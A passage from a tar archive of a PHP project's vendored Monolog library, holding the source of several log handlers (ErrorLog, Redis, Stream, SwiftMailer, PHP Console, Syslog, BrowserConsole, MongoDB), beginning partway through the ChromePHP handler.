'{\b(?:Chrome/\d+(?:\.\d+)*|HeadlessChrome|Firefox/(?:4[3-9]|[5-9]\d|\d{3,})(?:\.\d)*)\b}'; protected static $initialized = false; /** * Tracks whether we sent too much data * * Chrome limits the headers to 4KB, so when we sent 3KB we stop sending * * @var bool */ protected static $overflowed = false; protected static $json = [ 'version' => self::VERSION, 'columns' => ['label', 'log', 'backtrace', 'type'], 'rows' => [], ]; protected static $sendHeaders = true; /** * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); if (!function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s ChromePHPHandler'); } } /** * {@inheritdoc} */ public function handleBatch(array $records): void { if (!$this->isWebRequest()) { return; } $messages = []; foreach ($records as $record) { if ($record['level'] < $this->level) { continue; } $messages[] = $this->processRecord($record); } if (!empty($messages)) { $messages = $this->getFormatter()->formatBatch($messages); self::$json['rows'] = array_merge(self::$json['rows'], $messages); $this->send(); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ChromePHPFormatter(); } /** * Creates & sends header for a record * * @see sendHeader() * @see send() */ protected function write(array $record): void { if (!$this->isWebRequest()) { return; } self::$json['rows'][] = $record['formatted']; $this->send(); } /** * Sends the log header * * @see sendHeader() */ protected function send(): void { if (self::$overflowed || !self::$sendHeaders) { return; } if (!self::$initialized) { self::$initialized = true; self::$sendHeaders = $this->headersAccepted(); if (!self::$sendHeaders) { return; } self::$json['request_uri'] = $_SERVER['REQUEST_URI'] ?? ''; } $json = Utils::jsonEncode(self::$json, Utils::DEFAULT_JSON_FLAGS & ~JSON_UNESCAPED_UNICODE, true); $data = base64_encode(utf8_encode($json)); if (strlen($data) > 3 * 1024) { self::$overflowed = true; $record = [ 'message' => 'Incomplete logs, chrome header size limit reached', 'context' => [], 'level' => Logger::WARNING, 'level_name' => Logger::getLevelName(Logger::WARNING), 'channel' => 'monolog', 'datetime' => new \DateTimeImmutable(), 'extra' => [], ]; self::$json['rows'][count(self::$json['rows']) - 1] = $this->getFormatter()->format($record); $json = Utils::jsonEncode(self::$json, null, true); $data = base64_encode(utf8_encode($json)); } if (trim($data) !== '') { $this->sendHeader(static::HEADER_NAME, $data); } } /** * Send header string to the client */ protected function sendHeader(string $header, string $content): void { if (!headers_sent() && self::$sendHeaders) { header(sprintf('%s: %s', $header, $content)); } } /** * Verifies if the headers are accepted by the current user agent */ protected function headersAccepted(): bool { if (empty($_SERVER['HTTP_USER_AGENT'])) { return false; } return preg_match(static::USER_AGENT_REGEX, $_SERVER['HTTP_USER_AGENT']) === 1; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/ErrorLogHandler.php�������������������������������0000644�����������������00000004720�15154650146�0022005 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; /** * Stores to PHP error_log() handler. * * @author Elan Ruusamäe <glen@delfi.ee> */ class ErrorLogHandler extends AbstractProcessingHandler { public const OPERATING_SYSTEM = 0; public const SAPI = 4; protected $messageType; protected $expandNewlines; /** * @param int $messageType Says where the error should go. * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $expandNewlines If set to true, newlines in the message will be expanded to be take multiple log entries */ public function __construct(int $messageType = self::OPERATING_SYSTEM, $level = Logger::DEBUG, bool $bubble = true, bool $expandNewlines = false) { parent::__construct($level, $bubble); if (false === in_array($messageType, self::getAvailableTypes(), true)) { $message = sprintf('The given message type "%s" is not supported', print_r($messageType, true)); throw new \InvalidArgumentException($message); } $this->messageType = $messageType; $this->expandNewlines = $expandNewlines; } /** * @return array With all available types */ public static function getAvailableTypes(): array { return [ self::OPERATING_SYSTEM, self::SAPI, ]; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('[%datetime%] %channel%.%level_name%: %message% %context% %extra%'); } /** * {@inheritdoc} */ protected function write(array $record): void { if (!$this->expandNewlines) { error_log((string) $record['formatted'], $this->messageType); return; } $lines = preg_split('{[\r\n]+}', (string) $record['formatted']); foreach ($lines as $line) { error_log($line, $this->messageType); } } } ������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/RedisHandler.php����������������������������������0000644�����������������00000005675�15154650146�0021332 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; /** * Logs to a Redis key using rpush * * usage example: * * $log = new Logger('application'); * $redis = new RedisHandler(new Predis\Client("tcp://localhost:6379"), "logs", "prod"); * $log->pushHandler($redis); * * @author Thomas Tourlourat <thomas@tourlourat.com> */ class RedisHandler extends AbstractProcessingHandler { private $redisClient; private $redisKey; protected $capSize; /** * @param \Predis\Client|\Redis $redis The redis instance * @param string $key The key name to push records to * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int $capSize Number of entries to limit list size to, 0 = unlimited */ public function __construct($redis, string $key, $level = Logger::DEBUG, bool $bubble = true, int $capSize = 0) { if (!(($redis instanceof \Predis\Client) || ($redis instanceof \Redis))) { throw new \InvalidArgumentException('Predis\Client or Redis instance required'); } $this->redisClient = $redis; $this->redisKey = $key; $this->capSize = $capSize; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { if ($this->capSize) { $this->writeCapped($record); } else { $this->redisClient->rpush($this->redisKey, $record["formatted"]); } } /** * Write and cap the collection * Writes the record to the redis list and caps its */ protected function writeCapped(array $record): void { if ($this->redisClient instanceof \Redis) { $mode = defined('\Redis::MULTI') ? \Redis::MULTI : 1; $this->redisClient->multi($mode) ->rpush($this->redisKey, $record["formatted"]) ->ltrim($this->redisKey, -$this->capSize, -1) ->exec(); } else { $redisKey = $this->redisKey; $capSize = $this->capSize; $this->redisClient->transaction(function ($tx) use ($record, $redisKey, $capSize) { $tx->rpush($redisKey, $record["formatted"]); $tx->ltrim($redisKey, -$capSize, -1); }); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(); } } �������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php���������������������������������0000644�����������������00000012473�15154650146�0021511 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * Stores to any stream resource * * Can be used to store into php://stderr, remote and local files, etc. * * @author Jordi Boggiano <j.boggiano@seld.be> */ class StreamHandler extends AbstractProcessingHandler { /** @var resource|null */ protected $stream; protected $url; /** @var string|null */ private $errorMessage; protected $filePermission; protected $useLocking; private $dirCreated; /** * @param resource|string $stream If a missing path can't be created, an UnexpectedValueException will be thrown on first write * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) * @param bool $useLocking Try to lock log file before doing any writes * * @throws \InvalidArgumentException If stream is not a resource or string */ public function __construct($stream, $level = Logger::DEBUG, bool $bubble = true, ?int $filePermission = null, bool $useLocking = false) { parent::__construct($level, $bubble); if (is_resource($stream)) { $this->stream = $stream; } elseif (is_string($stream)) { $this->url = Utils::canonicalizePath($stream); } else { throw new \InvalidArgumentException('A stream must either be a resource or a string.'); } $this->filePermission = $filePermission; $this->useLocking = $useLocking; } /** * {@inheritdoc} */ public function close(): void { if ($this->url && is_resource($this->stream)) { fclose($this->stream); } $this->stream = null; $this->dirCreated = null; } /** * Return the currently active stream if it is open * * @return resource|null */ public function getStream() { return $this->stream; } /** * Return the stream URL if it was configured with a URL and not an active resource * * @return string|null */ public function getUrl(): ?string { return $this->url; } /** * {@inheritdoc} */ protected function write(array $record): void { if (!is_resource($this->stream)) { if (null === $this->url || '' === $this->url) { throw new \LogicException('Missing stream url, the stream can not be opened. This may be caused by a premature call to close().'); } $this->createDir(); $this->errorMessage = null; set_error_handler([$this, 'customErrorHandler']); $this->stream = fopen($this->url, 'a'); if ($this->filePermission !== null) { @chmod($this->url, $this->filePermission); } restore_error_handler(); if (!is_resource($this->stream)) { $this->stream = null; throw new \UnexpectedValueException(sprintf('The stream or file "%s" could not be opened in append mode: '.$this->errorMessage, $this->url)); } } if ($this->useLocking) { // ignoring errors here, there's not much we can do about them flock($this->stream, LOCK_EX); } $this->streamWrite($this->stream, $record); if ($this->useLocking) { flock($this->stream, LOCK_UN); } } /** * Write to stream * @param resource $stream * @param array $record */ protected function streamWrite($stream, array $record): void { fwrite($stream, (string) $record['formatted']); } private function customErrorHandler($code, $msg): bool { $this->errorMessage = preg_replace('{^(fopen|mkdir)\(.*?\): }', '', $msg); return true; } private function getDirFromStream(string $stream): ?string { $pos = strpos($stream, '://'); if ($pos === false) { return dirname($stream); } if ('file://' === substr($stream, 0, 7)) { return dirname(substr($stream, 7)); } return null; } private function createDir(): void { // Do not try to create dir if it has already been tried. if ($this->dirCreated) { return; } $dir = $this->getDirFromStream($this->url); if (null !== $dir && !is_dir($dir)) { $this->errorMessage = null; set_error_handler([$this, 'customErrorHandler']); $status = mkdir($dir, 0777, true); restore_error_handler(); if (false === $status && !is_dir($dir)) { throw new \UnexpectedValueException(sprintf('There is no existing directory at "%s" and it could not be created: '.$this->errorMessage, $dir)); } } $this->dirCreated = true; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SwiftMailerHandler.php����������������������������0000644�����������������00000006442�15154650146�0022503 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; use Swift_Message; use Swift; /** * SwiftMailerHandler uses Swift_Mailer to send the emails * * @author Gyula Sallai */ class SwiftMailerHandler extends MailHandler { protected $mailer; private $messageTemplate; /** * @psalm-param Swift_Message|callable(string, array): Swift_Message $message * * @param \Swift_Mailer $mailer The mailer to use * @param callable|Swift_Message $message An example message for real messages, only the body will be replaced * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(\Swift_Mailer $mailer, $message, $level = Logger::ERROR, bool $bubble = true) { parent::__construct($level, $bubble); $this->mailer = $mailer; $this->messageTemplate = $message; } /** * {@inheritdoc} */ protected function send(string $content, array $records): void { $this->mailer->send($this->buildMessage($content, $records)); } /** * Gets the formatter for the Swift_Message subject. * * @param string|null $format The format of the subject */ protected function getSubjectFormatter(?string $format): FormatterInterface { return new LineFormatter($format); } /** * Creates instance of Swift_Message to be sent * * @param string $content formatted email body to be sent * @param array $records Log records that formed the content * @return Swift_Message */ protected function buildMessage(string $content, array $records): Swift_Message { $message = null; if ($this->messageTemplate instanceof Swift_Message) { $message = clone $this->messageTemplate; $message->generateId(); } elseif (is_callable($this->messageTemplate)) { $message = ($this->messageTemplate)($content, $records); } if (!$message instanceof Swift_Message) { throw new \InvalidArgumentException('Could not resolve message as instance of Swift_Message or a callable returning it'); } if ($records) { $subjectFormatter = $this->getSubjectFormatter($message->getSubject()); $message->setSubject($subjectFormatter->format($this->getHighestRecord($records))); } $mime = 'text/plain'; if ($this->isHtmlBody($content)) { $mime = 'text/html'; } $message->setBody($content, $mime); /** @phpstan-ignore-next-line */ if (version_compare(Swift::VERSION, '6.0.0', '>=')) { $message->setDate(new \DateTimeImmutable()); } else { /** @phpstan-ignore-next-line */ $message->setDate(time()); } return $message; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php�����������������������������0000644�����������������00000023742�15154650146�0022231 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; use PhpConsole\Connector; use PhpConsole\Handler as VendorPhpConsoleHandler; use PhpConsole\Helper; /** * Monolog handler for Google Chrome extension "PHP Console" * * Display PHP error/debug log messages in Google Chrome console and notification popups, executes PHP code remotely * * Usage: * 1. Install Google Chrome extension https://chrome.google.com/webstore/detail/php-console/nfhmhhlpfleoednkpnnnkolmclajemef * 2. See overview https://github.com/barbushin/php-console#overview * 3. Install PHP Console library https://github.com/barbushin/php-console#installation * 4. Example (result will looks like http://i.hizliresim.com/vg3Pz4.png) * * $logger = new \Monolog\Logger('all', array(new \Monolog\Handler\PHPConsoleHandler())); * \Monolog\ErrorHandler::register($logger); * echo $undefinedVar; * $logger->debug('SELECT * FROM users', array('db', 'time' => 0.012)); * PC::debug($_SERVER); // PHP Console debugger for any type of vars * * @author Sergey Barbushin https://www.linkedin.com/in/barbushin */ class PHPConsoleHandler extends AbstractProcessingHandler { private $options = [ 'enabled' => true, // bool Is PHP Console server enabled 'classesPartialsTraceIgnore' => ['Monolog\\'], // array Hide calls of classes started with... 'debugTagsKeysInContext' => [0, 'tag'], // bool Is PHP Console server enabled 'useOwnErrorsHandler' => false, // bool Enable errors handling 'useOwnExceptionsHandler' => false, // bool Enable exceptions handling 'sourcesBasePath' => null, // string Base path of all project sources to strip in errors source paths 'registerHelper' => true, // bool Register PhpConsole\Helper that allows short debug calls like PC::debug($var, 'ta.g.s') 'serverEncoding' => null, // string|null Server internal encoding 'headersLimit' => null, // int|null Set headers size limit for your web-server 'password' => null, // string|null Protect PHP Console connection by password 'enableSslOnlyMode' => false, // bool Force connection by SSL for clients with PHP Console installed 'ipMasks' => [], // array Set IP masks of clients that will be allowed to connect to PHP Console: array('192.168.*.*', '127.0.0.1') 'enableEvalListener' => false, // bool Enable eval request to be handled by eval dispatcher(if enabled, 'password' option is also required) 'dumperDetectCallbacks' => false, // bool Convert callback items in dumper vars to (callback SomeClass::someMethod) strings 'dumperLevelLimit' => 5, // int Maximum dumped vars array or object nested dump level 'dumperItemsCountLimit' => 100, // int Maximum dumped var same level array items or object properties number 'dumperItemSizeLimit' => 5000, // int Maximum length of any string or dumped array item 'dumperDumpSizeLimit' => 500000, // int Maximum approximate size of dumped vars result formatted in JSON 'detectDumpTraceAndSource' => false, // bool Autodetect and append trace data to debug 'dataStorage' => null, // \PhpConsole\Storage|null Fixes problem with custom $_SESSION handler(see http://goo.gl/Ne8juJ) ]; /** @var Connector */ private $connector; /** * @param array $options See \Monolog\Handler\PHPConsoleHandler::$options for more details * @param Connector|null $connector Instance of \PhpConsole\Connector class (optional) * @param string|int $level The minimum logging level at which this handler will be triggered. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not. * @throws \RuntimeException */ public function __construct(array $options = [], ?Connector $connector = null, $level = Logger::DEBUG, bool $bubble = true) { if (!class_exists('PhpConsole\Connector')) { throw new \RuntimeException('PHP Console library not found. See https://github.com/barbushin/php-console#installation'); } parent::__construct($level, $bubble); $this->options = $this->initOptions($options); $this->connector = $this->initConnector($connector); } private function initOptions(array $options): array { $wrongOptions = array_diff(array_keys($options), array_keys($this->options)); if ($wrongOptions) { throw new \RuntimeException('Unknown options: ' . implode(', ', $wrongOptions)); } return array_replace($this->options, $options); } private function initConnector(?Connector $connector = null): Connector { if (!$connector) { if ($this->options['dataStorage']) { Connector::setPostponeStorage($this->options['dataStorage']); } $connector = Connector::getInstance(); } if ($this->options['registerHelper'] && !Helper::isRegistered()) { Helper::register(); } if ($this->options['enabled'] && $connector->isActiveClient()) { if ($this->options['useOwnErrorsHandler'] || $this->options['useOwnExceptionsHandler']) { $handler = VendorPhpConsoleHandler::getInstance(); $handler->setHandleErrors($this->options['useOwnErrorsHandler']); $handler->setHandleExceptions($this->options['useOwnExceptionsHandler']); $handler->start(); } if ($this->options['sourcesBasePath']) { $connector->setSourcesBasePath($this->options['sourcesBasePath']); } if ($this->options['serverEncoding']) { $connector->setServerEncoding($this->options['serverEncoding']); } if ($this->options['password']) { $connector->setPassword($this->options['password']); } if ($this->options['enableSslOnlyMode']) { $connector->enableSslOnlyMode(); } if ($this->options['ipMasks']) { $connector->setAllowedIpMasks($this->options['ipMasks']); } if ($this->options['headersLimit']) { $connector->setHeadersLimit($this->options['headersLimit']); } if ($this->options['detectDumpTraceAndSource']) { $connector->getDebugDispatcher()->detectTraceAndSource = true; } $dumper = $connector->getDumper(); $dumper->levelLimit = $this->options['dumperLevelLimit']; $dumper->itemsCountLimit = $this->options['dumperItemsCountLimit']; $dumper->itemSizeLimit = $this->options['dumperItemSizeLimit']; $dumper->dumpSizeLimit = $this->options['dumperDumpSizeLimit']; $dumper->detectCallbacks = $this->options['dumperDetectCallbacks']; if ($this->options['enableEvalListener']) { $connector->startEvalRequestsListener(); } } return $connector; } public function getConnector(): Connector { return $this->connector; } public function getOptions(): array { return $this->options; } public function handle(array $record): bool { if ($this->options['enabled'] && $this->connector->isActiveClient()) { return parent::handle($record); } return !$this->bubble; } /** * Writes the record down to the log of the implementing handler */ protected function write(array $record): void { if ($record['level'] < Logger::NOTICE) { $this->handleDebugRecord($record); } elseif (isset($record['context']['exception']) && $record['context']['exception'] instanceof \Throwable) { $this->handleExceptionRecord($record); } else { $this->handleErrorRecord($record); } } private function handleDebugRecord(array $record): void { $tags = $this->getRecordTags($record); $message = $record['message']; if ($record['context']) { $message .= ' ' . Utils::jsonEncode($this->connector->getDumper()->dump(array_filter($record['context'])), null, true); } $this->connector->getDebugDispatcher()->dispatchDebug($message, $tags, $this->options['classesPartialsTraceIgnore']); } private function handleExceptionRecord(array $record): void { $this->connector->getErrorsDispatcher()->dispatchException($record['context']['exception']); } private function handleErrorRecord(array $record): void { $context = $record['context']; $this->connector->getErrorsDispatcher()->dispatchError( $context['code'] ?? null, $context['message'] ?? $record['message'], $context['file'] ?? null, $context['line'] ?? null, $this->options['classesPartialsTraceIgnore'] ); } private function getRecordTags(array &$record) { $tags = null; if (!empty($record['context'])) { $context = & $record['context']; foreach ($this->options['debugTagsKeysInContext'] as $key) { if (!empty($context[$key])) { $tags = $context[$key]; if ($key === 0) { array_shift($context); } else { unset($context[$key]); } break; } } } return $tags ?: strtolower($record['level_name']); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('%message%'); } } ������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/AbstractSyslogHandler.php�������������������������0000644�����������������00000007000�15154650146�0023210 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; /** * Common syslog functionality */ abstract class AbstractSyslogHandler extends AbstractProcessingHandler { protected $facility; /** * Translates Monolog log levels to syslog log priorities. */ protected $logLevels = [ Logger::DEBUG => LOG_DEBUG, Logger::INFO => LOG_INFO, Logger::NOTICE => LOG_NOTICE, Logger::WARNING => LOG_WARNING, Logger::ERROR => LOG_ERR, Logger::CRITICAL => LOG_CRIT, Logger::ALERT => LOG_ALERT, Logger::EMERGENCY => LOG_EMERG, ]; /** * List of valid log facility names. */ protected $facilities = [ 'auth' => LOG_AUTH, 'authpriv' => LOG_AUTHPRIV, 'cron' => LOG_CRON, 'daemon' => LOG_DAEMON, 'kern' => LOG_KERN, 'lpr' => LOG_LPR, 'mail' => LOG_MAIL, 'news' => LOG_NEWS, 'syslog' => LOG_SYSLOG, 'user' => LOG_USER, 'uucp' => LOG_UUCP, ]; /** * @param string|int $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($facility = LOG_USER, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); if (!defined('PHP_WINDOWS_VERSION_BUILD')) { $this->facilities['local0'] = LOG_LOCAL0; $this->facilities['local1'] = LOG_LOCAL1; $this->facilities['local2'] = LOG_LOCAL2; $this->facilities['local3'] = LOG_LOCAL3; $this->facilities['local4'] = LOG_LOCAL4; $this->facilities['local5'] = LOG_LOCAL5; $this->facilities['local6'] = LOG_LOCAL6; $this->facilities['local7'] = LOG_LOCAL7; } else { $this->facilities['local0'] = 128; // LOG_LOCAL0 $this->facilities['local1'] = 136; // LOG_LOCAL1 $this->facilities['local2'] = 144; // LOG_LOCAL2 $this->facilities['local3'] = 152; // LOG_LOCAL3 $this->facilities['local4'] = 160; // LOG_LOCAL4 $this->facilities['local5'] = 168; // LOG_LOCAL5 $this->facilities['local6'] = 176; // LOG_LOCAL6 $this->facilities['local7'] = 184; // LOG_LOCAL7 } // convert textual description of facility to syslog constant if (is_string($facility) && array_key_exists(strtolower($facility), $this->facilities)) { $facility = $this->facilities[strtolower($facility)]; } elseif (!in_array($facility, array_values($this->facilities), true)) { throw new \UnexpectedValueException('Unknown facility value "'.$facility.'" given'); } $this->facility = $facility; } /** * {@inheritdoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('%channel%.%level_name%: %message% %context% %extra%'); } } merlin/vendor/monolog/monolog/src/Monolog/Handler/BrowserConsoleHandler.php�������������������������0000644�����������������00000016706�15154650146�0023227 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Utils; /** * Handler sending logs to browser's javascript console with no browser extension required * * @author Olivier Poitrey <rs@dailymotion.com> */ class BrowserConsoleHandler extends AbstractProcessingHandler { protected static $initialized = false; protected static $records = []; /** * {@inheritDoc} * * Formatted output may contain some formatting markers to be transferred to `console.log` using the %c format. * * Example of formatted string: * * You can do [[blue text]]{color: blue} or [[green background]]{background-color: green; color: white} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('[[%channel%]]{macro: autolabel} [[%level_name%]]{font-weight: bold} %message%'); } /** * {@inheritDoc} */ protected function write(array $record): void { // Accumulate records static::$records[] = $record; // Register shutdown handler if not already done if (!static::$initialized) { static::$initialized = true; $this->registerShutdownFunction(); } } /** * Convert records to javascript console commands and send it to the browser. * This method is automatically called on PHP shutdown if output is HTML or Javascript. */ public static function send(): void { $format = static::getResponseFormat(); if ($format === 'unknown') { return; } if (count(static::$records)) { if ($format === 'html') { static::writeOutput('<script>' . static::generateScript() . '</script>'); } elseif ($format === 'js') { static::writeOutput(static::generateScript()); } static::resetStatic(); } } public function close(): void { self::resetStatic(); } public function reset() { parent::reset(); self::resetStatic(); } /** * Forget all logged records */ public static function resetStatic(): void { static::$records = []; } /** * Wrapper for register_shutdown_function to allow overriding */ protected function registerShutdownFunction(): void { if (PHP_SAPI !== 'cli') { register_shutdown_function(['Monolog\Handler\BrowserConsoleHandler', 'send']); } } /** * Wrapper for echo to allow overriding */ protected static function writeOutput(string $str): void { echo $str; } /** * Checks the format of the response * * If Content-Type is set to application/javascript or text/javascript -> js * If Content-Type is set to text/html, or is unset -> html * If Content-Type is anything else -> unknown * * @return string One of 'js', 'html' or 'unknown' */ protected static function getResponseFormat(): string { // Check content type foreach (headers_list() as $header) { if (stripos($header, 'content-type:') === 0) { // This handler only works with HTML and javascript outputs // text/javascript is obsolete in favour of application/javascript, but still used if (stripos($header, 'application/javascript') !== false || stripos($header, 'text/javascript') !== false) { return 'js'; } if (stripos($header, 'text/html') === false) { return 'unknown'; } break; } } return 'html'; } private static function generateScript(): string { $script = []; foreach (static::$records as $record) { $context = static::dump('Context', $record['context']); $extra = static::dump('Extra', $record['extra']); if (empty($context) && empty($extra)) { $script[] = static::call_array('log', static::handleStyles($record['formatted'])); } else { $script = array_merge( $script, [static::call_array('groupCollapsed', static::handleStyles($record['formatted']))], $context, $extra, [static::call('groupEnd')] ); } } return "(function (c) {if (c && c.groupCollapsed) {\n" . implode("\n", $script) . "\n}})(console);"; } private static function handleStyles(string $formatted): array { $args = []; $format = '%c' . $formatted; preg_match_all('/\[\[(.*?)\]\]\{([^}]*)\}/s', $format, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER); foreach (array_reverse($matches) as $match) { $args[] = '"font-weight: normal"'; $args[] = static::quote(static::handleCustomStyles($match[2][0], $match[1][0])); $pos = $match[0][1]; $format = Utils::substr($format, 0, $pos) . '%c' . $match[1][0] . '%c' . Utils::substr($format, $pos + strlen($match[0][0])); } $args[] = static::quote('font-weight: normal'); $args[] = static::quote($format); return array_reverse($args); } private static function handleCustomStyles(string $style, string $string): string { static $colors = ['blue', 'green', 'red', 'magenta', 'orange', 'black', 'grey']; static $labels = []; return preg_replace_callback('/macro\s*:(.*?)(?:;|$)/', function (array $m) use ($string, &$colors, &$labels) { if (trim($m[1]) === 'autolabel') { // Format the string as a label with consistent auto assigned background color if (!isset($labels[$string])) { $labels[$string] = $colors[count($labels) % count($colors)]; } $color = $labels[$string]; return "background-color: $color; color: white; border-radius: 3px; padding: 0 2px 0 2px"; } return $m[1]; }, $style); } private static function dump(string $title, array $dict): array { $script = []; $dict = array_filter($dict); if (empty($dict)) { return $script; } $script[] = static::call('log', static::quote('%c%s'), static::quote('font-weight: bold'), static::quote($title)); foreach ($dict as $key => $value) { $value = json_encode($value); if (empty($value)) { $value = static::quote(''); } $script[] = static::call('log', static::quote('%s: %o'), static::quote((string) $key), $value); } return $script; } private static function quote(string $arg): string { return '"' . addcslashes($arg, "\"\n\\") . '"'; } private static function call(...$args): string { $method = array_shift($args); return static::call_array($method, $args); } private static function call_array(string $method, array $args): string { return 'c.' . $method . '(' . implode(', ', $args) . ');'; } } ����������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/MongoDBHandler.php��������������������������������0000644�����������������00000005160�15154650146�0021536 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use MongoDB\Driver\BulkWrite; use MongoDB\Driver\Manager; use MongoDB\Client; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\MongoDBFormatter; /** * Logs to a MongoDB database. * * Usage example: * * $log = new \Monolog\Logger('application'); * $client = new \MongoDB\Client('mongodb://localhost:27017'); * $mongodb = new \Monolog\Handler\MongoDBHandler($client, 'logs', 'prod'); * $log->pushHandler($mongodb); * * The above examples uses the MongoDB PHP library's client class; however, the * MongoDB\Driver\Manager class from ext-mongodb is also supported. */ class MongoDBHandler extends AbstractProcessingHandler { private $collection; private $manager; private $namespace; /** * Constructor. * * @param Client|Manager $mongodb MongoDB library or driver client * @param string $database Database name * @param string $collection Collection name * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($mongodb, string $database, string $collection, $level = Logger::DEBUG, bool $bubble = true) { if (!($mongodb instanceof Client || $mongodb instanceof Manager)) { throw new \InvalidArgumentException('MongoDB\Client or MongoDB\Driver\Manager instance required'); } if ($mongodb instanceof Client) { $this->collection = $mongodb->selectCollection($database, $collection); } else { $this->manager = $mongodb; $this->namespace = $database . '.' . $collection; } parent::__construct($level, $bubble); } protected function write(array $record): void { if (isset($this->collection)) { $this->collection->insertOne($record['formatted']); } if (isset($this->manager, $this->namespace)) { $bulk = new BulkWrite; $bulk->insert($record["formatted"]); $this->manager->executeBulkWrite($this->namespace, $bulk); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new MongoDBFormatter; } } 